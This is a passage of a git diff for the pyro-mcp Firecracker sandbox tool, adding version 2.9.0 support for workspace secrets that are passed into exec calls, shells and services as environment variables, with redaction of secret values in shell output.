`Pyro.status_service(workspace_id, service_name)` - `Pyro.logs_service(workspace_id, service_name, *, tail_lines=200, all=False)` - `Pyro.stop_service(workspace_id, service_name)` -- `Pyro.open_shell(workspace_id, *, cwd="/workspace", cols=120, rows=30)` +- `Pyro.open_shell(workspace_id, *, cwd="/workspace", cols=120, rows=30, secret_env=None)` - `Pyro.read_shell(workspace_id, shell_id, *, cursor=0, max_chars=65536)` - `Pyro.write_shell(workspace_id, shell_id, *, input, append_newline=True)` - `Pyro.signal_shell(workspace_id, shell_id, *, signal_name="INT")` - `Pyro.close_shell(workspace_id, shell_id)` - `Pyro.start_vm(vm_id)` - `Pyro.exec_vm(vm_id, *, command, timeout_seconds=30)` -- `Pyro.exec_workspace(workspace_id, *, command, timeout_seconds=30)` +- `Pyro.exec_workspace(workspace_id, *, command, timeout_seconds=30, secret_env=None)` - `Pyro.stop_vm(vm_id)` - `Pyro.delete_vm(vm_id)` - `Pyro.delete_workspace(workspace_id)` @@ -131,7 +136,7 @@ Stable public method names: - `inspect_environment(environment)` - `prune_environments()` - `create_vm(...)` -- `create_workspace(...)` +- `create_workspace(..., secrets=None)` - `push_workspace_sync(workspace_id, source_path, *, dest="/workspace")` - `export_workspace(workspace_id, path, *, output_path)` - `diff_workspace(workspace_id)` @@ -139,19 +144,19 @@ Stable public method names: - `list_snapshots(workspace_id)` - `delete_snapshot(workspace_id, snapshot_name)` - `reset_workspace(workspace_id, *, snapshot="baseline")` -- `start_service(workspace_id, service_name, *, command, cwd="/workspace", readiness=None, ready_timeout_seconds=30, ready_interval_ms=500)` +- `start_service(workspace_id, service_name, *, command, cwd="/workspace", readiness=None, ready_timeout_seconds=30, ready_interval_ms=500, secret_env=None)` - `list_services(workspace_id)` - `status_service(workspace_id, service_name)` - `logs_service(workspace_id, service_name, *, tail_lines=200, all=False)` - `stop_service(workspace_id, service_name)` -- `open_shell(workspace_id, *, cwd="/workspace", cols=120, rows=30)` +- `open_shell(workspace_id, *, cwd="/workspace", cols=120, rows=30, secret_env=None)` - `read_shell(workspace_id, shell_id, *, cursor=0, max_chars=65536)` - `write_shell(workspace_id, shell_id, *, input, append_newline=True)` - `signal_shell(workspace_id, shell_id, *, signal_name="INT")` - `close_shell(workspace_id, shell_id)` - `start_vm(vm_id)` - `exec_vm(vm_id, *, command, timeout_seconds=30)` -- `exec_workspace(workspace_id, *, command, timeout_seconds=30)` +- `exec_workspace(workspace_id, *, command, timeout_seconds=30, secret_env=None)` - `stop_vm(vm_id)` - `delete_vm(vm_id)` - `delete_workspace(workspace_id)` @@ -169,6 +174,7 @@ Behavioral defaults: - `allow_host_compat` defaults to `False` on `create_vm(...)` and `run_in_vm(...)`. - `allow_host_compat` defaults to `False` on `create_workspace(...)`. - `Pyro.create_workspace(..., seed_path=...)` seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. +- `Pyro.create_workspace(..., secrets=...)` persists guest-only UTF-8 secrets outside `/workspace`. - `Pyro.push_workspace_sync(...)` imports later host-side directory or archive content into a started workspace. - `Pyro.export_workspace(...)` exports one file or directory from `/workspace` to an explicit host path. - `Pyro.diff_workspace(...)` compares the current `/workspace` tree to the immutable create-time baseline. @@ -176,10 +182,13 @@ Behavioral defaults: - `Pyro.list_snapshots(...)` lists the implicit `baseline` plus any named snapshots. - `Pyro.delete_snapshot(...)` deletes one named snapshot while leaving `baseline` intact. - `Pyro.reset_workspace(...)` recreates the full sandbox from `baseline` or one named snapshot and clears command, shell, and service history. +- `Pyro.start_service(..., secret_env=...)` maps persisted workspace secrets into that service process as environment variables for that start call only. - `Pyro.start_service(...)` starts one named long-running process in a started workspace and waits for its typed readiness probe when configured. - `Pyro.list_services(...)`, `Pyro.status_service(...)`, `Pyro.logs_service(...)`, and `Pyro.stop_service(...)` manage those persisted workspace services. - `Pyro.exec_vm(...)` runs one command and auto-cleans that VM after the exec completes. +- `Pyro.exec_workspace(..., secret_env=...)` maps persisted workspace secrets into that exec call as environment variables for that call only. - `Pyro.exec_workspace(...)` runs one command in the persistent workspace and leaves it alive. +- `Pyro.open_shell(..., secret_env=...)` maps persisted workspace secrets into the shell environment when that shell opens. - `Pyro.open_shell(...)` opens a persistent PTY shell attached to one started workspace. - `Pyro.read_shell(...)` reads merged text output from that shell by cursor. - `Pyro.write_shell(...)`, `Pyro.signal_shell(...)`, and `Pyro.close_shell(...)` operate on that persistent shell session. @@ -234,6 +243,7 @@ Behavioral defaults: - `vm_run` and `vm_create` expose `allow_host_compat`, which defaults to `false`. - `workspace_create` exposes `allow_host_compat`, which defaults to `false`. - `workspace_create` accepts optional `seed_path` and seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. +- `workspace_create` accepts optional `secrets` and persists guest-only UTF-8 secret material outside `/workspace`. - `workspace_sync_push` imports later host-side directory or archive content into a started workspace, with an optional `dest` under `/workspace`. - `workspace_export` exports one file or directory from `/workspace` to an explicit host path. - `workspace_diff` compares the current `/workspace` tree to the immutable create-time baseline. @@ -241,7 +251,9 @@ Behavioral defaults: - `workspace_reset` recreates the full sandbox and restores `/workspace` from `baseline` or one named snapshot. - `service_start`, `service_list`, `service_status`, `service_logs`, and `service_stop` manage persistent named services inside a started workspace. - `vm_exec` runs one command and auto-cleans that VM after the exec completes. -- `workspace_exec` runs one command in a persistent `/workspace` and leaves the workspace alive. +- `workspace_exec` accepts optional `secret_env` mappings for one exec call and leaves the workspace alive. +- `service_start` accepts optional `secret_env` mappings for one service start call. +- `shell_open` accepts optional `secret_env` mappings for the opened shell session. - `shell_open`, `shell_read`, `shell_write`, `shell_signal`, and `shell_close` manage persistent PTY shells inside a started workspace. ## Versioning Rule diff --git a/docs/roadmap/task-workspace-ga.md b/docs/roadmap/task-workspace-ga.md index a8461c8..768c869 100644 --- a/docs/roadmap/task-workspace-ga.md +++ b/docs/roadmap/task-workspace-ga.md @@ -2,7 +2,7 @@ This roadmap turns the agent-workspace vision into release-sized milestones. -Current baseline is `2.8.0`: +Current baseline is `2.9.0`: - workspace persistence exists and the public surface is now workspace-first - host crossing currently covers create-time seeding, later sync push, and explicit export @@ -10,7 +10,8 @@ Current baseline is `2.8.0`: - immutable create-time baselines now power whole-workspace diff - multi-service lifecycle exists with typed readiness and aggregate workspace status counts - named snapshots and full workspace reset now exist -- no secrets or explicit host port publication contract exists yet +- explicit secrets now exist for guest-backed workspaces +- no explicit host port publication contract exists yet Locked roadmap decisions: @@ -34,7 +35,7 @@ also expected to update: 3. [`2.6.0` Structured Export And Baseline Diff](task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md) - Done 4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) - Done 5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) - Done -6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) +6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) - Done 7. [`2.10.0` Network Policy And Host Port Publication](task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md) 8. [`3.0.0` Stable Workspace Product](task-workspace-ga/3.0.0-stable-workspace-product.md) 9. [`3.1.0` Secondary Disk Tools](task-workspace-ga/3.1.0-secondary-disk-tools.md) diff --git a/docs/roadmap/task-workspace-ga/2.9.0-secrets.md b/docs/roadmap/task-workspace-ga/2.9.0-secrets.md index efb6c62..2dd82af 100644 --- a/docs/roadmap/task-workspace-ga/2.9.0-secrets.md +++ b/docs/roadmap/task-workspace-ga/2.9.0-secrets.md @@ -1,5 +1,7 @@ # `2.9.0` Secrets +Status: Done + ## Goal Add explicit secrets so workspaces can handle private dependencies, diff --git a/examples/python_workspace.py b/examples/python_workspace.py index f26957a..c53a978 100644 --- a/examples/python_workspace.py +++ b/examples/python_workspace.py @@ -12,15 +12,31 @@ def main() -> None: tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir, tempfile.TemporaryDirectory(prefix="pyro-workspace-sync-") as sync_dir, tempfile.TemporaryDirectory(prefix="pyro-workspace-export-") as export_dir, + tempfile.TemporaryDirectory(prefix="pyro-workspace-secret-") as secret_dir, ): Path(seed_dir, "note.txt").write_text("hello from seed\n", encoding="utf-8") Path(sync_dir, "note.txt").write_text("hello from sync\n", encoding="utf-8") - created = pyro.create_workspace(environment="debian:12", seed_path=seed_dir) + secret_file = Path(secret_dir, "token.txt") + secret_file.write_text("from-file\n", encoding="utf-8") + created = pyro.create_workspace( + environment="debian:12", + seed_path=seed_dir, + secrets=[ + {"name": "API_TOKEN", "value": "expected"}, + {"name": "FILE_TOKEN", "file_path": str(secret_file)}, + ], + ) workspace_id = str(created["workspace_id"]) try: pyro.push_workspace_sync(workspace_id, sync_dir) result = pyro.exec_workspace(workspace_id, command="cat note.txt") print(result["stdout"], end="") + secret_result = pyro.exec_workspace( + workspace_id, + command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'', + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + print(secret_result["stdout"], end="") diff_result = pyro.diff_workspace(workspace_id) print(f"changed={diff_result['changed']} total={diff_result['summary']['total']}") snapshot = pyro.create_snapshot(workspace_id, "checkpoint") @@ -28,11 +44,22 @@ def main() -> None: exported_path = Path(export_dir, "note.txt") pyro.export_workspace(workspace_id, "note.txt", output_path=exported_path) print(exported_path.read_text(encoding="utf-8"), end="") + shell = pyro.open_shell(workspace_id, secret_env={"API_TOKEN": "API_TOKEN"}) + shell_id = str(shell["shell_id"]) + pyro.write_shell( + workspace_id, + shell_id, + input='printf "%s\\n" "$API_TOKEN"', + ) + shell_output = pyro.read_shell(workspace_id, shell_id, cursor=0) + print(f"shell_output_len={len(shell_output['output'])}") + pyro.close_shell(workspace_id, shell_id) pyro.start_service( workspace_id, "web", command="touch .web-ready && while true; do sleep 60; done", readiness={"type": "file", "path": ".web-ready"}, + secret_env={"API_TOKEN": "API_TOKEN"}, ) services = pyro.list_services(workspace_id) print(f"services={services['count']} running={services['running_count']}") @@ -43,6 +70,7 @@ def main() -> None: pyro.stop_service(workspace_id, "web") reset = pyro.reset_workspace(workspace_id, snapshot="checkpoint") print(f"reset_count={reset['reset_count']}") + print(f"secret_count={len(reset['secrets'])}") logs = pyro.logs_workspace(workspace_id) print(f"workspace_id={workspace_id} command_count={logs['count']}") finally: diff --git a/pyproject.toml b/pyproject.toml index ed8a41d..3c72319 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "2.8.0" +version = "2.9.0" description = "Ephemeral Firecracker sandboxes with curated environments, persistent workspaces, and MCP tools." readme = "README.md" license = { file = "LICENSE" } diff --git a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py index 739bc67..607c76d 100644 --- a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py +++ b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py @@ -10,6 +10,7 @@ import json import os import re import shlex +import shutil import signal import socket import struct @@ -29,6 +30,7 @@ BUFFER_SIZE = 65536 WORKSPACE_ROOT = PurePosixPath("/workspace") SHELL_ROOT = Path("/run/pyro-shells") SERVICE_ROOT = Path("/run/pyro-services") +SECRET_ROOT = Path("/run/pyro-secrets") SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") SHELL_SIGNAL_MAP = { "HUP": signal.SIGHUP, @@ -42,6 +44,17 @@ _SHELLS: dict[str, "GuestShellSession"] = {} _SHELLS_LOCK = threading.Lock() +def _redact_text(text: str, redact_values: list[str]) -> str: + redacted = text + for secret_value in sorted( + {item for item in redact_values if item != ""}, + key=len, + reverse=True, + ): + redacted = redacted.replace(secret_value, "[REDACTED]") + return redacted + + def _read_request(conn: socket.socket) -> dict[str, Any]: chunks: list[bytes] = [] while True: @@ -139,6 +152,15 @@ def _service_metadata_path(service_name: str) -> Path: return SERVICE_ROOT / f"{service_name}.json" +def _normalize_secret_name(secret_name: str) -> str: + normalized = secret_name.strip() + if normalized == "": + raise RuntimeError("secret name is required") + if re.fullmatch(r"^[A-Za-z_][A-Za-z0-9_]{0,63}$", normalized) is None: + raise RuntimeError("secret name is invalid") + return normalized + + def _validate_symlink_target(member_path: PurePosixPath, link_target: str) -> None: target = link_target.strip() if target == "": @@ -215,6 +237,49 @@ def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: } +def _install_secrets_archive(payload: bytes) -> dict[str, Any]: + SECRET_ROOT.mkdir(parents=True, exist_ok=True) + for existing in SECRET_ROOT.iterdir(): + if existing.is_dir() and not existing.is_symlink(): + shutil.rmtree(existing, ignore_errors=True) + else: + existing.unlink(missing_ok=True) + bytes_written = 0 + entry_count = 0 + with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_member_name(member.name) + target_path = SECRET_ROOT.joinpath(*member_name.parts) + entry_count += 1 + if member.isdir(): + target_path.mkdir(parents=True, exist_ok=True) + target_path.chmod(0o700) + continue + if member.isfile(): + target_path.parent.mkdir(parents=True, exist_ok=True) + target_path.parent.chmod(0o700) + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read secret archive member: {member.name}") + with target_path.open("wb") as handle: + while True: + chunk = source.read(BUFFER_SIZE) + if chunk == b"": + break + handle.write(chunk) + target_path.chmod(0o600) + bytes_written += member.size + continue + if member.issym() or member.islnk(): + raise RuntimeError(f"secret archive may not contain links: {member.name}") + raise RuntimeError(f"unsupported secret archive member type: {member.name}") + return { + "destination": str(SECRET_ROOT), + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + def _inspect_archive(archive_path: Path) -> tuple[int, int]: entry_count = 0 bytes_written = 0 @@ -263,13 +328,22 @@ def _prepare_export_archive(path: str) -> dict[str, Any]: raise -def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: +def _run_command( + command: str, + timeout_seconds: int, + *, + env: dict[str, str] | None = None, +) -> dict[str, Any]: started = time.monotonic() + command_env = os.environ.copy() + if env is not None: + command_env.update(env) try: proc = subprocess.run( ["/bin/sh", "-lc", command], text=True, capture_output=True, + env=command_env, timeout=timeout_seconds, check=False, ) @@ -293,6 +367,16 @@ def _set_pty_size(fd: int, rows: int, cols: int) -> None: fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize) +def _shell_argv(*, interactive: bool) -> list[str]: + shell_program = shutil.which("bash") or "/bin/sh" + argv = [shell_program] + if shell_program.endswith("bash"): + argv.extend(["--noprofile", "--norc"]) + if interactive: + argv.append("-i") + return argv + + class GuestShellSession: """In-guest PTY-backed interactive shell session.""" @@ -304,6 +388,8 @@ class GuestShellSession: cwd_text: str, cols: int, rows: int, + env_overrides: dict[str, str] | None = None, + redact_values: list[str] | None = None, ) -> None: self.shell_id = shell_id self.cwd = cwd_text @@ -316,6 +402,7 @@ class GuestShellSession: self._lock = threading.RLock() self._output = "" self._decoder = codecs.getincrementaldecoder("utf-8")("replace") + self._redact_values = list(redact_values or []) self._metadata_path = SHELL_ROOT / f"{shell_id}.json" self._log_path = SHELL_ROOT / f"{shell_id}.log" self._master_fd: int | None = None @@ -331,8 +418,10 @@ class GuestShellSession: "PROMPT_COMMAND": "", } ) + if env_overrides is not None: + env.update(env_overrides) process = subprocess.Popen( # noqa: S603 - ["/bin/bash", "--noprofile", "--norc", "-i"], + _shell_argv(interactive=True), stdin=slave_fd, stdout=slave_fd, stderr=slave_fd, @@ -371,8 +460,9 @@ class GuestShellSession: def read(self, *, cursor: int, max_chars: int) -> dict[str, Any]: with self._lock: - clamped_cursor = min(max(cursor, 0), len(self._output)) - output = self._output[clamped_cursor : clamped_cursor + max_chars] + redacted_output = _redact_text(self._output, self._redact_values) + clamped_cursor = min(max(cursor, 0), len(redacted_output)) + output = redacted_output[clamped_cursor : clamped_cursor + max_chars] next_cursor = clamped_cursor + len(output) payload = self.summary() payload.update( @@ -380,7 +470,7 @@ class GuestShellSession: "cursor": clamped_cursor, "next_cursor": next_cursor, "output": output, - "truncated": next_cursor < len(self._output), + "truncated": next_cursor < len(redacted_output), } ) return payload @@ -514,6 +604,8 @@ def _create_shell( cwd_text: str, cols: int, rows: int, + env_overrides: dict[str, str] | None = None, + redact_values: list[str] | None = None, ) -> GuestShellSession: _, cwd_path = _normalize_shell_cwd(cwd_text) with _SHELLS_LOCK: @@ -525,6 +617,8 @@ def _create_shell( cwd_text=cwd_text, cols=cols, rows=rows, + env_overrides=env_overrides, + redact_values=redact_values, ) _SHELLS[shell_id] = session return session @@ -634,7 +728,12 @@ def _refresh_service_payload(service_name: str, payload: dict[str, Any]) -> dict return refreshed -def _run_readiness_probe(readiness: dict[str, Any] | None, *, cwd: Path) -> bool: +def _run_readiness_probe( + readiness: dict[str, Any] | None, + *, + cwd: Path, + env: dict[str, str] | None = None, +) -> bool: if readiness is None: return True readiness_type = str(readiness["type"]) @@ -658,11 +757,15 @@ def _run_readiness_probe(readiness: dict[str, Any] | None, *, cwd: Path) -> bool except (urllib.error.URLError, TimeoutError, ValueError): return False if readiness_type == "command": + command_env = os.environ.copy() + if env is not None: + command_env.update(env) proc = subprocess.run( # noqa: S603 ["/bin/sh", "-lc", str(readiness["command"])], cwd=str(cwd), text=True, capture_output=True, + env=command_env, timeout=10, check=False, ) @@ -678,6 +781,7 @@ def _start_service( readiness: dict[str, Any] | None, ready_timeout_seconds: int, ready_interval_ms: int, + env: dict[str, str] | None = None, ) -> dict[str, Any]: normalized_service_name = _normalize_service_name(service_name) normalized_cwd, cwd_path = _normalize_shell_cwd(cwd_text) @@ -718,9 +822,13 @@ def _start_service( encoding="utf-8", ) runner_path.chmod(0o700) + service_env = os.environ.copy() + if env is not None: + service_env.update(env) process = subprocess.Popen( # noqa: S603 [str(runner_path)], cwd=str(cwd_path), + env=service_env, text=True, start_new_session=True, ) @@ -747,7 +855,7 @@ def _start_service( payload["ended_at"] = payload.get("ended_at") or time.time() _write_service_metadata(normalized_service_name, payload) return payload - if _run_readiness_probe(readiness, cwd=cwd_path): + if _run_readiness_probe(readiness, cwd=cwd_path, env=env): payload["ready_at"] = time.time() _write_service_metadata(normalized_service_name, payload) return payload @@ -817,16 +925,38 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: destination = str(request.get("destination", "/workspace")) payload = _read_exact(conn, archive_size) return _extract_archive(payload, destination) + if action == "install_secrets": + archive_size = int(request.get("archive_size", 0)) + if archive_size < 0: + raise RuntimeError("archive_size must not be negative") + payload = _read_exact(conn, archive_size) + return _install_secrets_archive(payload) if action == "open_shell": shell_id = str(request.get("shell_id", "")).strip() if shell_id == "": raise RuntimeError("shell_id is required") cwd_text, _ = _normalize_shell_cwd(str(request.get("cwd", "/workspace"))) + env_payload = request.get("env") + env_overrides = None + if env_payload is not None: + if not isinstance(env_payload, dict): + raise RuntimeError("shell env must be a JSON object") + env_overrides = { + _normalize_secret_name(str(key)): str(value) for key, value in env_payload.items() + } + redact_values_payload = request.get("redact_values") + redact_values: list[str] | None = None + if redact_values_payload is not None: + if not isinstance(redact_values_payload, list): + raise RuntimeError("redact_values must be a list") + redact_values = [str(item) for item in redact_values_payload] session = _create_shell( shell_id=shell_id, cwd_text=cwd_text, cols=int(request.get("cols", 120)), rows=int(request.get("rows", 30)), + env_overrides=env_overrides, + redact_values=redact_values, ) return session.summary() if action == "read_shell": @@ -866,6 +996,15 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: cwd_text = str(request.get("cwd", "/workspace")) readiness = request.get("readiness") readiness_payload = dict(readiness) if isinstance(readiness, dict) else None + env_payload = request.get("env") + env = None + if env_payload is not None: + if not isinstance(env_payload, dict): + raise RuntimeError("service env must be a JSON object") + env = { + _normalize_secret_name(str(key)): str(value) + for key, value in env_payload.items() + } return _start_service( service_name=service_name, command=command, @@ -873,6 +1012,7 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: readiness=readiness_payload, ready_timeout_seconds=int(request.get("ready_timeout_seconds", 30)), ready_interval_ms=int(request.get("ready_interval_ms", 500)), + env=env, ) if action == "status_service": service_name = str(request.get("service_name", "")).strip() @@ -887,12 +1027,19 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: return _stop_service(service_name) command = str(request.get("command", "")) timeout_seconds = int(request.get("timeout_seconds", 30)) - return _run_command(command, timeout_seconds) + env_payload = request.get("env") + env = None + if env_payload is not None: + if not isinstance(env_payload, dict): + raise RuntimeError("exec env must be a JSON object") + env = {_normalize_secret_name(str(key)): str(value) for key, value in env_payload.items()} + return _run_command(command, timeout_seconds, env=env) def main() -> None: SHELL_ROOT.mkdir(parents=True, exist_ok=True) SERVICE_ROOT.mkdir(parents=True, exist_ok=True) + SECRET_ROOT.mkdir(parents=True, exist_ok=True) family = getattr(socket, "AF_VSOCK", None) if family is None: raise SystemExit("AF_VSOCK is unavailable") diff --git a/runtime_sources/linux-x86_64/scripts/pyro-init b/runtime_sources/linux-x86_64/scripts/pyro-init index 6d4b9eb..2e8a82a 100755 --- a/runtime_sources/linux-x86_64/scripts/pyro-init +++ b/runtime_sources/linux-x86_64/scripts/pyro-init @@ -7,7 +7,8 @@ AGENT=/opt/pyro/bin/pyro_guest_agent.py mount -t proc proc /proc || true mount -t sysfs sysfs /sys || true mount -t devtmpfs devtmpfs /dev || true -mkdir -p /run /tmp +mkdir -p /dev/pts /run /tmp +mount -t devpts devpts /dev/pts -o mode=620,ptmxmode=666 || true hostname pyro-vm || true cmdline="$(cat /proc/cmdline 2>/dev/null || true)" diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 0e5ea1e..a6e1832 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -87,6 +87,7 @@ class Pyro: network: bool = False, allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, seed_path: str | Path | None = None, + secrets: list[dict[str, str]] | None = None, ) -> dict[str, Any]: return self._manager.create_workspace( environment=environment, @@ -96,6 +97,7 @@ class Pyro: network=network, allow_host_compat=allow_host_compat, seed_path=seed_path, + secrets=secrets, ) def exec_workspace( @@ -104,11 +106,13 @@ class Pyro: *, command: str, timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: return self._manager.exec_workspace( workspace_id, command=command, timeout_seconds=timeout_seconds, + secret_env=secret_env, ) def status_workspace(self, workspace_id: str) -> dict[str, Any]: @@ -170,12 +174,14 @@ class Pyro: cwd: str = "/workspace", cols: int = 120, rows: int = 30, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: return self._manager.open_shell( workspace_id, cwd=cwd, cols=cols, rows=rows, + secret_env=secret_env, ) def read_shell( @@ -234,6 +240,7 @@ class Pyro: readiness: dict[str, Any] | None = None, ready_timeout_seconds: int = 30, ready_interval_ms: int = 500, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: return self._manager.start_service( workspace_id, @@ -243,6 +250,7 @@ class Pyro: readiness=readiness, ready_timeout_seconds=ready_timeout_seconds, ready_interval_ms=ready_interval_ms, + secret_env=secret_env, ) def list_services(self, workspace_id: str) -> dict[str, Any]: @@ -403,6 +411,7 @@ class Pyro: network: bool = False, allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, seed_path: str | None = None, + secrets: list[dict[str, str]] | None = None, ) -> dict[str, Any]: """Create and start a persistent workspace.""" return self.create_workspace( @@ -413,6 +422,7 @@ class Pyro: network=network, allow_host_compat=allow_host_compat, seed_path=seed_path, + secrets=secrets, ) @server.tool() @@ -420,12 +430,14 @@ class Pyro: workspace_id: str, command: str, timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: """Run one command inside an existing persistent workspace.""" return self.exec_workspace( workspace_id, command=command, timeout_seconds=timeout_seconds, + secret_env=secret_env, ) @server.tool() @@ -490,9 +502,16 @@ class Pyro: cwd: str = "/workspace", cols: int = 120, rows: int = 30, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: """Open a persistent interactive shell inside one workspace.""" - return self.open_shell(workspace_id, cwd=cwd, cols=cols, rows=rows) + return self.open_shell( + workspace_id, + cwd=cwd, + cols=cols, + rows=rows, + secret_env=secret_env, + ) @server.tool() async def shell_read( @@ -554,6 +573,7 @@ class Pyro: ready_command: str | None = None, ready_timeout_seconds: int = 30, ready_interval_ms: int = 500, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: """Start a named long-running service inside a workspace.""" readiness: dict[str, Any] | None = None @@ -573,6 +593,7 @@ class Pyro: readiness=readiness, ready_timeout_seconds=ready_timeout_seconds, ready_interval_ms=ready_interval_ms, + secret_env=secret_env, ) @server.tool() diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index b80c153..655804b 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -168,6 +168,18 @@ def _print_workspace_summary_human(payload: dict[str, Any], *, action: str) -> N print(f"Workspace seed: {mode} from {seed_path}") else: print(f"Workspace seed: {mode}") + secrets = payload.get("secrets") + if isinstance(secrets, list) and secrets: + secret_descriptions = [] + for secret in secrets: + if not isinstance(secret, dict): + continue + secret_descriptions.append( + f"{str(secret.get('name', 'unknown'))} " + f"({str(secret.get('source_kind', 'literal'))})" + ) + if secret_descriptions: + print("Secrets: " + ", ".join(secret_descriptions)) print(f"Execution mode: {str(payload.get('execution_mode', 'pending'))}") print( f"Resources: {int(payload.get('vcpu_count', 0))} vCPU / " @@ -671,6 +683,7 @@ def _build_parser() -> argparse.ArgumentParser: Examples: pyro workspace create debian:12 pyro workspace create debian:12 --seed-path ./repo + pyro workspace create debian:12 --secret API_TOKEN=expected pyro workspace sync push WORKSPACE_ID ./changes pyro workspace snapshot create WORKSPACE_ID checkpoint pyro workspace reset WORKSPACE_ID --snapshot checkpoint @@ -724,6 +737,20 @@ def _build_parser() -> argparse.ArgumentParser: "before the workspace is returned." ), ) + workspace_create_parser.add_argument( + "--secret", + action="append", + default=[], + metavar="NAME=VALUE", + help="Persist one literal UTF-8 secret for this workspace.", + ) + workspace_create_parser.add_argument( + "--secret-file", + action="append", + default=[], + metavar="NAME=PATH", + help="Persist one UTF-8 secret copied from a host file at create time.", + ) workspace_create_parser.add_argument( "--json", action="store_true", @@ -736,7 +763,14 @@ def _build_parser() -> argparse.ArgumentParser: "Run one non-interactive command in the persistent `/workspace` " "for a workspace." ), - epilog="Example:\n pyro workspace exec WORKSPACE_ID -- cat note.txt", + epilog=dedent( + """ + Examples: + pyro workspace exec WORKSPACE_ID -- cat note.txt + pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- \ + sh -lc 'test \"$API_TOKEN\" = \"expected\"' + """ + ), formatter_class=_HelpFormatter, ) workspace_exec_parser.add_argument( @@ -750,6 +784,13 @@ def _build_parser() -> argparse.ArgumentParser: default=30, help="Maximum time allowed for the workspace command.", ) + workspace_exec_parser.add_argument( + "--secret-env", + action="append", + default=[], + metavar="SECRET[=ENV_VAR]", + help="Expose one persisted workspace secret as an environment variable for this exec.", + ) workspace_exec_parser.add_argument( "--json", action="store_true", @@ -1016,6 +1057,13 @@ def _build_parser() -> argparse.ArgumentParser: default=30, help="Shell terminal height in rows.", ) + workspace_shell_open_parser.add_argument( + "--secret-env", + action="append", + default=[], + metavar="SECRET[=ENV_VAR]", + help="Expose one persisted workspace secret as an environment variable in the shell.", + ) workspace_shell_open_parser.add_argument( "--json", action="store_true", @@ -1181,6 +1229,9 @@ def _build_parser() -> argparse.ArgumentParser: Examples: pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ sh -lc 'touch .ready && while true; do sleep 60; done' + pyro workspace service start WORKSPACE_ID app --secret-env API_TOKEN -- \ + sh -lc 'test \"$API_TOKEN\" = \"expected\"; touch .ready; \ +while true; do sleep 60; done' pyro workspace service start WORKSPACE_ID app --ready-command 'test -f .ready' -- \ sh -lc 'touch .ready && while true; do sleep 60; done' """ @@ -1222,6 +1273,13 @@ def _build_parser() -> argparse.ArgumentParser: default=DEFAULT_SERVICE_READY_INTERVAL_MS, help="Polling interval between readiness checks.", ) + workspace_service_start_parser.add_argument( + "--secret-env", + action="append", + default=[], + metavar="SECRET[=ENV_VAR]", + help="Expose one persisted workspace secret as an environment variable for this service.", + ) workspace_service_start_parser.add_argument( "--json", action="store_true", @@ -1438,6 +1496,38 @@ def _require_command(command_args: list[str]) -> str: return shlex.join(command_args) +def _parse_workspace_secret_option(value: str) -> dict[str, str]: + name, sep, secret_value = value.partition("=") + if sep == "" or name.strip() == "" or secret_value == "": + raise ValueError("workspace secrets must use NAME=VALUE") + return {"name": name.strip(), "value": secret_value} + + +def _parse_workspace_secret_file_option(value: str) -> dict[str, str]: + name, sep, file_path = value.partition("=") + if sep == "" or name.strip() == "" or file_path.strip() == "": + raise ValueError("workspace secret files must use NAME=PATH") + return {"name": name.strip(), "file_path": file_path.strip()} + + +def _parse_workspace_secret_env_options(values: list[str]) -> dict[str, str]: + parsed: dict[str, str] = {} + for raw_value in values: + secret_name, sep, env_name = raw_value.partition("=") + normalized_secret_name = secret_name.strip() + if normalized_secret_name == "": + raise ValueError("workspace secret env mappings must name a secret") + normalized_env_name = env_name.strip() if sep != "" else normalized_secret_name + if normalized_env_name == "": + raise ValueError("workspace secret env mappings must name an environment variable") + if normalized_secret_name in parsed: + raise ValueError( + f"workspace secret env mapping references {normalized_secret_name!r} more than once" + ) + parsed[normalized_secret_name] = normalized_env_name + return parsed + + def main() -> None: args = _build_parser().parse_args() pyro = Pyro() @@ 